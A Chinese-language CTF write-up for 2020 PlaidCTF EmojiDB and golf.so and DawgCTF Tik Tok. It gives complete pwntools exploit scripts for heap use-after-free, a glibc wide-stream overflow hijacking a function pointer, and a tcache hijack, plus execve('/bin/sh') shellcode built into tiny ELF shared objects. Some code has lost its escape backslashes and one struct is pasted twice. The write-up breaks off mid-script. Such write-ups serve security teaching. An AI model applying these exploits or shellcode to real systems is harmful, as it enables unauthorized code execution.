0x01 简述
- [2020 PlaidCTF] EmojiDB – 250pt:主要是对
IO
内置函数的利用,创新性的利用了Bug 20632
完成攻击。 - [2020 PlaidCTF] golf.so – 500pt:主要考察如何构建一个Mini共享库文件。
- [2020 DawgCTF] Tik Tok – 500pt:基本没有明面上的漏洞,主要考察程序的逻辑漏洞,这些逻辑漏洞会直接导致一些看似正常的逻辑却给与攻击者可乘之机。
- [2020 DawgCTF 2020] Nash/Nash2:这个题目的利用点为有限的命令执行。
0x02 [2020 PlaidCTF] EmojiDB – 250pt
题目类型:Pwn
checksec结果:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
题目分析
首先,题目不仅仅给出了题目源文件,还给出了题目的Dockerfile
以及start.sh
FROM ubuntu:18.04
RUN apt-get update
RUN apt-get install -y xinetd
RUN apt-get install -y language-pack-en
RUN useradd -m ctf
COPY bin /home/ctf
COPY emojidb.xinetd /etc/xinetd.d/emojidb
RUN chown -R root:root /home/ctf
EXPOSE 9876
CMD ["/home/ctf/start.sh"]
#!/bin/sh
# Add your startup script
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
# In /etc/init.d/xinetd
service emojidb
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = ctf
type = UNLISTED
port = 9876
bind = 0.0.0.0
server = /home/ctf/run.sh
# safety options
per_source = 10 # the maximum instances of this service per source IP address
rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use
#rlimit_as = 1024M # the Address Space resource limit for the service
}
# In /home/ctf/run.sh
#!/bin/sh
exec /home/ctf/emojidb 2>&-
程序逻辑
首先程序提供了五个功能:
-
book
的数据结构如下:struct book{ int inuse; _QWORD *content; }
- 创建
book content
(命令:?):遍历整个book_list
,取出空闲位置下标,限制下标只能介于0-4
之间,也就是五个book
,接收一个size
,检查size
是否大于0x800
,若不大于,用calloc
创建一个4 * size
大小的chunk
,将chunk
地址放在book -> content
的位置上,设置book -> inuse
位为1
,向book -> content
写入size
大小的值,返回。 - 查看
book content
(命令:?):调用get_book
函数接收一个index
,检查index-1
是否介于0-3
之间,取出book_list[index - 1]
,检查book_list[index - 1] -> content
是否为空,若不为空,打印book_list[index - 1] -> content
,返回。 - 删除
book content
(命令:?):调用get_book
函数接收一个index
,检查index-1
是否介于0-3
之间,取出book_list[index - 1]
,检查book_list[index - 1] -> content
和book_list[index - 1] -> inuse
,若book_list[index - 1] -> content
不为空且book_list[index - 1] -> inuse
非0
,释放book_list[index - 1] -> content
,标记book_list[index - 1] -> inuse
为0
,返回。 - 退出(命令:?):调用
_exit(0);
。 - 打印flag(隐藏功能,命令:?):打印???。
漏洞分析
- 首先很明显的,在删除
book content
中,没有在释放book_list[index - 1] -> content
后标记book_list[index - 1] -> content
为0
,造成了Use-After-Free
漏洞,但是由于book_list[index - 1] -> inuse
的存在,又很好地避免了Double Free
漏洞的发生。 - 然后在创建
book content
时,没有很好的控制下标,造成我们可以额外申请一个下标为4
的chunk
,这将导致我们可以异常的覆盖0x2020E0
的值。 - 当
0x2020E0
的值非零时,若我们输入了非法的选项,程序会把我们输入的选项输出到stderr
流。并且,在
run.sh
中,程序特意附加了2>&-
选项,这表示关闭stderr
,这非常可疑! - 宽字节环境+
stderr
被关闭,恰好满足了Bug 20632
的利用要件。
漏洞利用
Leak Data
首先,既然存在Use-After-Free
漏洞,且程序在调用show book
时并没有检查book_list[index - 1] -> content
,这就给了我们一个利用的机会,我们可以利用这个点进行信息的泄露。
但是需要注意的是,这个题的所有I/O
都使用了宽字节I/O
,例如__wprintf_chk()
、__isoc99_wscanf()
、fgetws()
、fputws()
。
那么我们的交互函数就要进行一些改变,改成如下形式:(此处感谢南梦狮虎的帮助)
from pwn import *
......
opcode = {
'0x1F195':'xF0x9Fx86x95',# new
'0x1F4D6':"xF0x9Fx93x96",# show
'0x1F193':"xF0x9Fx86x93",# free
'0x1F6A9':"xF0x9Fx9AxA9",# flag
}
......
def create(sh,chunk_size,value):
sh.recvuntil("xe2x9dx93")
sh.send(opcode["0x1F195"])
sh.sendafter("xf0x9fx93x8fxe2x9d",str(chunk_size))
sh.recvuntil("x93")
sh.send(value)
def show(sh,index):
sh.recvuntil("xe2x9dx93")
sh.send(opcode['0x1F4D6'])
sh.sendlineafter("xe2x9dx93",str(index+1))
def delete(sh,index):
sh.recvuntil("xe2x9dx93")
sh.send(opcode["0x1F193"])
sh.sendlineafter("xe2x9dx93",str(index+1))
sh.recvuntil("x9fx98xb1")
def flags(sh):
sh.recvuntil("xe2x9dx93")
sh.send(opcode["0x1F6A9"])
并且我们在之后的泄露和写值都需要使用宽字节交互,这里我们直接使用@Hatena大佬提供的脚本:
#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <unistd.h>
int main(int argc, char **argv) {
int i;
unsigned char out[0x10] = {0};
unsigned char in[0x10] = {0};
setlocale(0, "en_US.UTF-8");
if (argc < 2) {
printf("Usage: %s [1|2]n", argv[0]);
return 1;
}
if (argv[1][0] == '1') {
read(0, in, 0x10);
mbstowcs((wchar_t*)out, in, 0x10);
write(1, out, 8);
} else {
read(0, in, 8);
wcstombs(out, (wchar_t*)in, 0x10);
write(1, out, 0x10);
}
return 0;
}
然后我们在python中这样调用:
def wchar2char(wchar_data):
convert = process(['./convert','1'])
convert.send(wchar_data)
char_data = convert.recvrepeat(0.3)
convert.close()
return char_data
def char2wchar(char_data):
convert = process(['./convert','2'])
convert.send(char_data)
wchar_data = convert.recvrepeat(0.3).strip('n').strip('x00')
convert.close()
return wchar_data
那么我们直接先leak libc
,泄露代码如下
create(sh,0x110,'Chunk__0'+'n')
create(sh,0x10,'Chunk__0'+'n')
delete(sh,0)
libc_address = u64(wchar2char(show(sh,0)).ljust(8,'x00')) - get_main_arena(libc) - 0x60
success('The libc address is ' + hex(libc_address))
Stack Overflow
这里利用的是在Sourceware Bugzilla
报告的Bug 20632
,正如漏洞文章中说明的,在宽字节环境下且stderr
已被关闭时,可能发生漏洞。
我们来探测实际漏洞的触发:
create(sh,0x10,'Chunk__0'+'n')
create(sh,0x10,'Chunk__2'+'n')
create(sh,0x10,'Chunk__3'+'n')
create(sh,0x10,'Chunk__4'+'n')
payload = char2wchar(p32(0x12341234)) * 20
success('The libc address is ' + hex(libc.address))
get_gdb(sh,stop=True)
sh.sendlineafter(b"xe2x9dx93", payload)
sh.interactive()
首先当我们在STDERR
被关闭时,首次执行__fwprintf_chk(stderr, 1, '%lc', 0x12341234);
时,可以很清楚的看到,由于STDERR
被关闭,导致_IO_wide_data_2
的所有项基本均为空:
gef➤ p _IO_wide_data_2
$1 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "000000"
}
},
_IO_last_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "000000"
}
},
_codecvt = {
__codecvt_destr = 0x0,
__codecvt_do_out = 0x0,
__codecvt_do_unshift = 0x0,
__codecvt_do_in = 0x0,
__codecvt_do_encoding = 0x0,
__codecvt_do_always_noconv = 0x0,
__codecvt_do_length = 0x0,
__codecvt_do_max_length = 0x0,
__cd_in = {
__cd = {
__nsteps = 0x0,
__steps = 0x0,
__data = 0x7f6f5ca9a838 <_IO_wide_data_2+184>
},
__combined = {
__cd = {
__nsteps = 0x0,
__steps = 0x0,
__data = 0x7f6f5ca9a838 <_IO_wide_data_2+184>
},
__data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "000000"
}
}
}
}
},
__cd_out = {
__cd = {
__nsteps = 0x0,
__steps = 0x0,
__data = 0x7f6f5ca9a878 <_IO_wide_data_2+248>
},
__combined = {
__cd = {
__nsteps = 0x0,
__steps = 0x0,
__data = 0x7f6f5ca9a878 <_IO_wide_data_2+248>
},
__data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "000000"
}
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x7f6f5ca96d60 <_IO_wfile_jumps>
}
但是,我们若继续运行,让我们看看会发生什么
/* Write formatted output to FP from the format string FORMAT. */
int __fwprintf_chk (FILE *fp, int flag, const wchar_t *format, ...)
{
va_list ap;
int done;
_IO_acquire_lock_clear_flags2(fp);
if (flag > 0)
fp->_flags2 |= _IO_FLAGS2_FORTIFY;
va_start (ap, format);
done = _IO_vfwprintf (fp, format, ap);
va_end (ap);
if (flag > 0)
fp->_flags2 &= ~_IO_FLAGS2_FORTIFY;
_IO_release_lock (fp);
return done;
}
发现在_IO_vfwprintf
运行结束后,_IO_wide_data_2
的_IO_write_ptr
已被恢复,并且可以发现,它的_IO_write_ptr
指向的是_IO_wide_data_2
末尾,也就是说,我们可以去尝试覆盖掉_IO_wide_data_1
的值并劫持STDOUT
结构体。
查看偏移
接下来继续运行五次,查看内存
可以发现,的确是可以成功覆盖到_IO_wide_data_1
的内容的,那么我们的最终利用思路就是篡改do_out
函数指针,do_out
函数在/glibc-2.27/source/libio/iofwide.c#L155
中定义,我们仅需要看其函数原型即可:
static enum __codecvt_result do_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const wchar_t *from_start, const wchar_t *from_end,
const wchar_t **from_stop, char *to_start, char *to_end,
char **to_stop)
而我们最终的IO
结构体如下,我们恰好可以劫持整个_codecvt
结构体。
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
通过偏移计算,我们需要构造如下输入
IO_wide_data = libc.address + 0x3eb9e8
info("IO_wide_data = " + hex(IO_wide_data))
payload = ''
for i in range(16):
payload += char2wchar(p32(IO_wide_data % 0x100000000))
payload += char2wchar(p32(IO_wide_data >> 32))
payload += char2wchar(b'/bin') + char2wchar(b'/sh')
payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
payload += char2wchar(p32(libc.symbols['system'] >> 32))
成功get shell
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
opcode = {
'0x1F4D6':"xF0x9Fx93x96",#show
'0x1F6A9':"xF0x9Fx9AxA9",
'0x1F193':"xF0x9Fx86x93",#free
'0x1F195':'xF0x9Fx86x95',#new
}
emojidb=ELF('./emojidb', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./run.sh")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./run.sh")
def get_main_arena(self):
"""Find main_arena offset
Returns:
int: Offset to main_arena (returns None if it's not libc)
"""
ofs_realloc_hook = self.symbols['__realloc_hook']
ofs_malloc_hook = self.symbols['__malloc_hook']
if ofs_realloc_hook is None or ofs_malloc_hook is None:
log.error('main_arena works only for libc binaries')
return None
if context.arch == 'i386':
return ofs_malloc_hook + 0x18
else:
return ofs_malloc_hook + (ofs_malloc_hook - ofs_realloc_hook) * 2
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def create(sh,chunk_size,value):
sh.recvuntil("xe2x9dx93")
sh.send(opcode["0x1F195"])
sh.sendafter("xf0x9fx93x8fxe2x9d",str(chunk_size))
sh.recvuntil("x93")
sh.send(value)
def show(sh,index):
sh.recvuntil("xe2x9dx93")
sh.send(opcode['0x1F4D6'])
sh.sendlineafter("xe2x9dx93",str(index+1))
return sh.recvline()
def delete(sh,index):
sh.recvuntil("xe2x9dx93")
sh.send(opcode["0x1F193"])
sh.sendlineafter("xe2x9dx93",str(index+1))
sh.recvuntil("x9fx98xb1")
def flags(sh):
sh.recvuntil("xe2x9dx93")
sh.send(opcode["0x1F6A9"])
def wchar2char(wchar_data):
convert = process(['./convert','1'])
convert.send(wchar_data)
char_data = convert.recvrepeat(0.3)
convert.close()
return char_data
def char2wchar(char_data):
convert = process(['./convert','2'])
convert.send(char_data)
wchar_data = convert.recvrepeat(0.3).strip('n').strip('x00')
convert.close()
return wchar_data
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
create(sh,0x110,'Chunk__0'+'n')
create(sh,0x10,'Chunk__1'+'n')
delete(sh,0)
libc.address = u64(wchar2char(show(sh,0)).ljust(8,'x00')) - get_main_arena(libc) - 0x60
if libc.address % 0x1000 != 0:
error('The libc base address is wrong!')
success('The libc base address is ' + hex(libc.address))
create(sh,0x10,'Chunk__0'+'n')
create(sh,0x10,'Chunk__2'+'n')
create(sh,0x10,'Chunk__3'+'n')
create(sh,0x10,'Chunk__4'+'n')
IO_wide_data = libc.address + 0x3eb9e8
info("IO_wide_data = " + hex(IO_wide_data))
payload = ''
for i in range(16):
payload += char2wchar(p32(IO_wide_data % 0x100000000))
payload += char2wchar(p32(IO_wide_data >> 32))
payload += char2wchar(b'/bin') + char2wchar(b'/sh')
payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
payload += char2wchar(p32(libc.symbols['system'] >> 32))
sh.sendlineafter(b"xe2x9dx93", payload)
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x03 [2020 PlaidCTF] golf.so – 500pt
题目类型:Misc
题目目的
题目目的是构建一个Mini-shared object
,使这个共享库可以被加载到/bin/true
时,执行execve("/bin/sh",["/bin/sh"],...)
。
构建Mini-elf
事实上,对于一个最小的ELF文件,只需要定义一个程序标头,且在程序标头内将整个程序加载到内存并执行即可。
; My_test.s
BITS 64
org 0x00400000
ehdr:
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 3 ; e_type
dw 62 ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
_start:
xor rsi,rsi
cdq
push rsi
mov rdi , 0x68732f6e69622f
push rdi
push rsp
pop rdi
push rsi
push rdi
push rsp
pop rsi
push 0x3b
pop rax
syscall
filesize equ $ - $$
使用nasm -f bin -o a.out My_test.s
命令编译
可以发现,它现在仅有147个字节。
构建Mini-shared object
接下来需要构建一个共享库文件,对于共享库文件,ELF规范要求有两个程序标头,分别定义一个LOADable
段和一个DYNAMIC
段,并且接下来要求有四个程序节区,分别是:
-
SYMTAB
节:用于存放我们需要覆盖的符号。 -
STRTAB
节:用于存放我们所需要的字符串。 -
text
节:用于存放我们需要执行的ShellCode
。 -
DYNSYM
节。
那么我们构建的结果如下所示,
; My_test.s
BITS 64
org 0x00400000
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 3 ; e_type
dw 62 ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq sectionHeaders - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw 64 ; e_shentsize
dw 6 ; e_shnum
dw 4 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
phdr_loadable:
dd 1 ; p_type
dd 7 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
phdr_dynamic:
dd 2 ; p_type
dd 7 ; p_flags
dq dynamic ; p_offset
dq dynamic ; p_vaddr
dq dynamic ; p_paddr
dq dynamicsize ; p_filesz
dq dynamicsize ; p_memsz
dq 0x1000 ; p_align
main:
_start:
xor rsi,rsi
cdq
push rsi
mov rdi , 0x68732f6e69622f
push rdi
push rsp
pop rdi
push rsi
push rdi
push rsp
pop rsi
push 0x3b
pop rax
syscall
mainsize equ $ - main
sectionHeaders:
section_dynsym:
dd 1 ;sh_name
dd 11 ;sh_type DYNSYM
dq 7 ;sh_flags rx
dq dynsym ;sh_addr
dq dynsym ;sh_offset
dq dynsymsize ;sh_size
dd 3 ;sh_link
dd 1 ;sh_info
dq 1 ;sh_addralign
dq 24 ;sh_entsize
section_text:
dd 19 ;sh_name
dd 1 ;sh_type PROGBITS
dq 7 ;sh_flags rx
dq main ;sh_addr
dq main ;sh_offset
dq mainsize ;sh_size
dd 3 ;sh_link
dd 0 ;sh_info
dq 1 ;sh_addralign
dq 0 ;sh_entsize
section_shstrtab:
dd 9 ;sh_name
dd 3 ;sh_type STRTAB
dq 7 ;sh_flags rx
dq shstrtab ;sh_addr
dq shstrtab ;sh_offset
dq shstrtabsize ;sh_size
dd 0 ;sh_link
dd 0 ;sh_info
dq 1 ;sh_addralign
dq 0 ;sh_entsize
section_dynamic:
dd 41 ;sh_name
dd 6 ;sh_type SYMTAB
dq 7 ;sh_flags rx
dq dynamic ;sh_addr
dq dynamic ;sh_offset
dq dynamicsize ;sh_size
dd 3 ;sh_link
dd 0 ;sh_info
dq 8h ;sh_addralign
dq 16 ;sh_entsize
sectionHeaderssize equ $ - sectionHeaders
dynsym:
times 24 db 0
dd 1 ;st_name
db 18 ;st_info global function 00010000 || 00000010
db 0 ;st_other
dw 1 ;st_shndx
dq _start ;st_value
dq mainsize ;st_size
dynsymsize equ $ - dynsym
dynamic:
dt_strtab:
dq 5
dq shstrtab
dt_symtab:
dq 6
dq dynsym
dt_none:
dq 0
dq 0
dynamicsize equ $ - dynamic
shstrtab:
db 0
shstrtabsize equ $ - shstrtab
filesize equ $ - $$
但是我们发现,这个文件的大小是556
字节并且并不会为我们回弹一个shell
。
进一步查阅资料发现了如下定义
DT_INIT 12 d_ptr Address of the initialization function
也就是说,我们只需要把DT_INIT
指向我们的shellcode
即可执行我们的目标函数,并且我们也不需要如此多的节区,因此我们可以删去三个无关节区,仅保留dynsym
节区即可
; My_test.s
BITS 64
org 0x00400000
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 3 ; e_type
dw 62 ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq sectionHeaders - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw 64 ; e_shentsize
dw 6 ; e_shnum
dw 4 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
phdr_loadable:
dd 1 ; p_type
dd 7 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
phdr_dynamic:
dd 2 ; p_type
dd 7 ; p_flags
dq dynamic ; p_offset
dq dynamic ; p_vaddr
dq dynamic ; p_paddr
dq dynamicsize ; p_filesz
dq dynamicsize ; p_memsz
dq 0x1000 ; p_align
main:
_start:
xor rsi,rsi
cdq
push rsi
mov rdi , 0x68732f6e69622f
push rdi
push rsp
pop rdi
push rsi
push rdi
push rsp
pop rsi
push 0x3b
pop rax
syscall
ret
mainsize equ $ - main
sectionHeaders:
dynsym:
dynsymsize equ $ - dynsym
dynamic:
dt_strtab:
dq 5
dq dynsym
dt_symtab:
dq 6
dq dynsym
dt_init:
dq 12
dq main
dynamicsize equ $ - dynamic
filesize equ $ - $$
这样,我们将程序的大小进一步缩减到了252字节,且成功回弹了shell
接下来我们发现,事实上有一些位置是可以重叠的,我们来分析一个极为精炼的exp
; My_test.s
BITS 64
org 0
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 3 ; e_type
dw 62 ; e_machine
dd 1 ; e_version
db '/bin/sh', 0 ; e_entry
dq phdr - $$ ; e_phoff
shellcode_begin:
call part_a ; e_shoff
part_a:
pop rdi
sub rdi, 0x15
xchg esi, eax
push rax
jmp part_b ; e_phsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
part_b:
push rdi
push rdi
push rsp
mov al, 59
jmp part_c
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
phdr_loadable:
dd 1 ; p_type
dd 7 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
part_c:
pop rsi
xor edx, edx
syscall
nop
nop
nop
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
phdr_dynamic:
dd 2 ; p_type
dd 7 ; p_flags
dq dynamic ; p_offset
dq dynamic ; p_vaddr
dynamic:
dt_init:
dq 13
dq shellcode_begin
dt_strtab:
dq 5
dq 0
dt_symtab:
dq 6
filesize equ $ - $$
首先,在program_head_table
中,事实上有一些项是可以不被使用的,真正不可缺失的只有type
、flags
、offset
、virtual_address
,那么可以直接把offset
、virtual_address
覆盖成virtual_address
之后的地址来实现一个dynamic
和phdr_dynamic
的重叠,然后,当共享库调用fini
函数时,首先会调用shellcode_begin
,shellcode_begin
和Elf64_Ehdr -> e_shoff
进行了空间复用,在那之后,程序会将pop rdi
指令的地址压栈,因为这个地址是call part_a
的返回地址,而我们接下来,将这个返回地址赋给rdi
,然后让其减去0x15
,这将会恰好使其指向/bin/sh
的地址处接下来的一系列shellcode也和Elf64_Ehdr
进行了空间复用,构造的十分精巧,去掉末尾0后最终大小仅177字节。
0x04 [2020 DawgCTF] Tik Tok – 500pt
题目类型:Pwn
checksec结果:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目分析
题目除了给定了一个二进制文件,同时给定了需要使用的libc以及一个songs的压缩包,解压后内部是若干文本文件。
我们为了方便读取这些文件,我们给与这些文件最高权限
程序逻辑
由于程序保留了一定的符号,这方便我们分析功能,程序有以下功能:
- 程序中的数据结构为:
struct Songs{ char path[0x18]; _DWORD *fd; _DWORD *padding; _QWORD *dir; _QWORD *name; _QWORD *play_content; }
-
Import_song
:首先执行ls -R
,遍历当前目录下的文件,然后用户输入一个<dir>/<file_name>.<ex_type>
的路径保存在songs[song_count].path
里,尝试打开那个路径所代表的文件,将文件句柄放在songs[song_count].fd
里。接着若以下条件均满足则继续运行,否则程序退出:-
songs[song_count].fd
不为-1
(文件打开成功) -
songs[song_count].path[0]
为可读字符(一定程度防止读非法文件) -
songs[song_count].path
中不存在flag
或../
(防止读flag
文件以及防止跨目录读文件)
将
<dir>
保存在songs[song_count].dir
里,将<file_name>
保存在songs[song_count].file_name
里,song_count
增加1
。 -
-
Show_playlist
:遍历整个songs
数组,若songs[i].dir
不为空,则打印i+1
、songs[song_count].dir
、songs[song_count].file_name
。 -
Play_song
:读取一个index
,检查index - 1
是否小于song_count
,index - 1
是否大于0
,songs[index-1].dir
是否为空。接着,若songs[index-1].play_content
为空,从songs[song_count].fd
读取四个字节,转换成long
型数值作为size
,然后分配一个size + 1
大小的chunk
放在songs[index-1].play_content
中,接着从songs[song_count].fd
读取size
个字节存入chunk
中,打印存入的内容,返回。 -
Remove_song
:读取一个index
,检查index - 1
是否小于song_count
,index - 1
是否大于0
,songs[index-1].dir
是否为空。接着清空songs[index-1].dir
、songs[index-1].file_name
,释放songs[index-1].play_content
,指针置零,清空songs[song_count].path
,关闭songs[song_count].fd
并将该位置置空。
漏洞分析
- 首先,我们遇到的最大困难就是向
chunk
的写入看似不可控,因此我们要想办法让某个song
的文件描述符为0
,这样我们就可以通过stdin
向其中写入数据了。 - 在
play_song
功能中,程序没有对size
进行任何检查且其为无符号变量,这将会导致堆溢出,若我们能控制size
为-1
,将会调用malloc(0)
,且将允许向返回的Chunk
写入极大量的数据!
漏洞利用
创建可控Chunk
利用open
函数的漏洞,对于open
函数,我们可以输入一个目录,它也将会成功的打开而不会返回失败,且这个目录允许添加多个/
。
此处存在:
-
path
成员和fd
成员直接相邻,且在向path
成员写值时存在逻辑,当且仅当path
成员的末尾是n
时,才会将其替换成x00
否则不作任何操作! - 程序限定
song_count
的上限是0x31
,而fd
处存放的是文件描述符,而这个文件描述符将会由3
开始递增,当其递增到0x2E
时,若path
中没有.
,将会把这个文件描述符替换成NULL。
于是我们的利用脚本如下:
for i in range(3,0x2F):
import_song(sh,'Animal/'.ljust(0x18,'/'))
⚠:此处还有一点需要注意!正如我们在程序逻辑中说明的那样,一旦我们对这个歌曲执行了释放操作,程序将关闭fd指针处的文件流,而在此处,这意味着stdin
将会被关闭,因此我们必须防止其被释放!
劫持Tcache Bin
我们发现Animal/blahblah.txt
将会申请0x660
大小的chunk
,而Animal/animal.txt
将会申请0x3B0
大小的chunk
。那么我们若先申请一个0x660
大小的chunk
,再申请一个0x3B0
大小的chunk
,然后依次释放,然后使用那个堆溢出漏洞,我们将可以直接劫持Tcache Bin
结构。
那么我们首先构造如下Payload
:
import_song(sh,'Animal/blahblah.txt') # 45
import_song(sh,'Animal/animal.txt') # 46
play_song(sh,45)
play_song(sh,46)
remove_song(sh,45)
remove_song(sh,46)
劫持songs
接下来我们不要忘了,在程序malloc
之后,会随即调用memset
函数进行chunk
的清空,这本是防止遗留数据被非法读取的保护逻辑,但在此处,反而可以成为我们利用的后门。若我们将Chunk 46
的fd
指针篡改为A
,当我们从Tcache
中取回Fake_chunk
时,程序将会擦除A
到A + 0x3B3
之间的所有数据。那么我们期望它擦除后恰好有一个song
呈现仅fd
和path
被擦除的状态。这其实很好计算 $mathbf{0x3B3} = 16 times mathbf{0x38} + 24 + mathbf{0x18} + 3$ 若我们指定A
是songs[0].dir
,那么,songs[17]
就是符合条件的song
。
构造如下Payload
:
play_song(sh,44,-1,'x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,44,-1,'x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,43)
fake_songs = ......
play_song(sh,18,fake_songs)
fake_songs
的内容将会被整体写入songs
列表中。
劫持了songs
后续利用就比较常规了,只需要注意两个原则:
- ?禁止
free
掉一个fd
为0
的Chunk
,这会导致stdin
被关闭。 -
Tcache bin
的0x3C0
链表已被损坏,不要使用这个链表。
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
tiktok=ELF('./tiktok', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./tiktok")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./tiktok")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
